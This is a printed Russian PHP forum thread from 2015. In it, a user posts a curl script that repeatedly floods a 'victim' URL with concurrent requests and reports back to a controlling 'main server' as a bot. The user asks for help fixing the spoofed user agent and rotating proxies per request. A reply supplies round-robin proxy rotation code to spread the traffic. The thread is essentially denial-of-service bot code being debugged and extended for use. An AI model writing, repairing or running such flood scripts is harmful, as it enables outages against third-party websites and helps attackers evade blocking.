Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770
Форумы портала PHP.SU :: Версия для печати :: допишите пожалуста
Форумы портала PHP.SU » PHP » Напишите за меня, пожалуйста » допишите пожалуста

Страниц (1): [1]
 

1. zloy dyx - 14 Февраля, 2015 - 17:10:04 - перейти к сообщению
Привет. Есть скрипт на curl
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $inf11=$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  4. $a11 = explode('?', $inf11);  
  5. $a11 = $a11[0];          //точный адрес этого скрипта
  6. $url1 = $_GET["url"];   //адрес жертвы
  7. $krutisa =$_GET["kol"]; //количиство циклов
  8. $domen ='localhost';    //домен главного сервера
  9. $x = 1;
  10. do {
  11. $urls = array(
  12. $url1, $url1,
  13.  
  14. );
  15. $multi = curl_multi_init();
  16. $channels = array();
  17. foreach ($urls as $url) {
  18.     $ch = curl_init();
  19.     curl_setopt($ch, CURLOPT_URL, $url);
  20. $he = array
  21. (
  22.     'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',
  23.     'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
  24.     'Accept-Encoding: deflate',
  25.     'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
  26. );
  27.     curl_setopt($ch, CURLOPT_HEADER, $he);
  28.     curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  29.     curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  30.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  31.     curl_setopt($curl, CURLOPT_REFERER, $url);
  32.  
  33.     $useragent="Mozila/4.0(compatible; MSIE 6.0; Windows NT 5.1)";
  34.     curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  35.     curl_multi_add_handle($multi, $ch);
  36.     $channels[$url] = $ch;
  37. }
  38.     $active = null;
  39. do {
  40.     $mrc = curl_multi_exec($multi, $active);
  41. } while ($mrc == CURLM_CALL_MULTI_PERFORM);
  42.  
  43. while ($active && $mrc == CURLM_OK) {
  44.     if (curl_multi_select($multi) == -1) {
  45.         continue;
  46.     }
  47.  
  48.     do {
  49.         $mrc = curl_multi_exec($multi, $active);
  50.     } while ($mrc == CURLM_CALL_MULTI_PERFORM);
  51. }
  52. foreach ($channels as $channel) {
  53.     echo curl_multi_getcontent($channel);
  54.     curl_multi_remove_handle($multi, $channel);
  55. }
  56.  
  57. } while ($x++<$krutisa);
  58. //шлёт ответ главному о завершении
  59. if( $curl = curl_init() ) {
  60.     curl_setopt($curl, CURLOPT_URL, 'http://'.$domen.'/otk.php?1&tip=100&url1='.$a11.'');
  61.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
  62.     $useragent="bot/0.9";
  63.     curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  64.     curl_setopt($curl,CURLOPT_REFERER, "HTTP://bot/0.9");
  65.     $out = curl_exec($curl);
  66.     echo $out;
  67.     curl_close($curl);
  68. }
  69. ?>
  70.  
  71.  
  72.  

ребят не работает юзер агент в первых запросах. Не могу понять по чему...
Как сделать что бы прокси менялся при каждом запросе?

Скрипт другой. поправил
2. Мелкий - 14 Февраля, 2015 - 17:47:15 - перейти к сообщению
Для round-robin распределения:
PHP:
скопировать код в буфер обмена
  1. $rProxyList = new InfiniteIterator( new ArrayIterator(array('proxy1', 'proxy2', 'proxy3')) );
  2.  
  3. $rProxyList->rewind();
  4. foreach ($urls as $url) {
  5. ...
  6. curl_setopt($ch, CURLOPT_PROXY, $rProxyList->current());
  7. $rProxyList->next();

(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.
3. zloy dyx - 16 Февраля, 2015 - 17:02:23 - перейти к сообщению
Мелкий пишет:
Для round-robin распределения:
PHP:
скопировать код в буфер обмена
  1. $rProxyList = new InfiniteIterator( new ArrayIterator(array('proxy1', 'proxy2', 'proxy3')) );
  2.  
  3. $rProxyList->rewind();
  4. foreach ($urls as $url) {
  5. ...
  6. curl_setopt($ch, CURLOPT_PROXY, $rProxyList->current());
  7. $rProxyList->next();

(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.

Так и не выйшло вставить...
Я его немножко поправил и теперь не могу задать юзерагента. Точнее он чего то не работает
(Добавление)
Мелкий ну так поправишь мой скрипт?

 

Powered by ExBB FM 1.0 RC1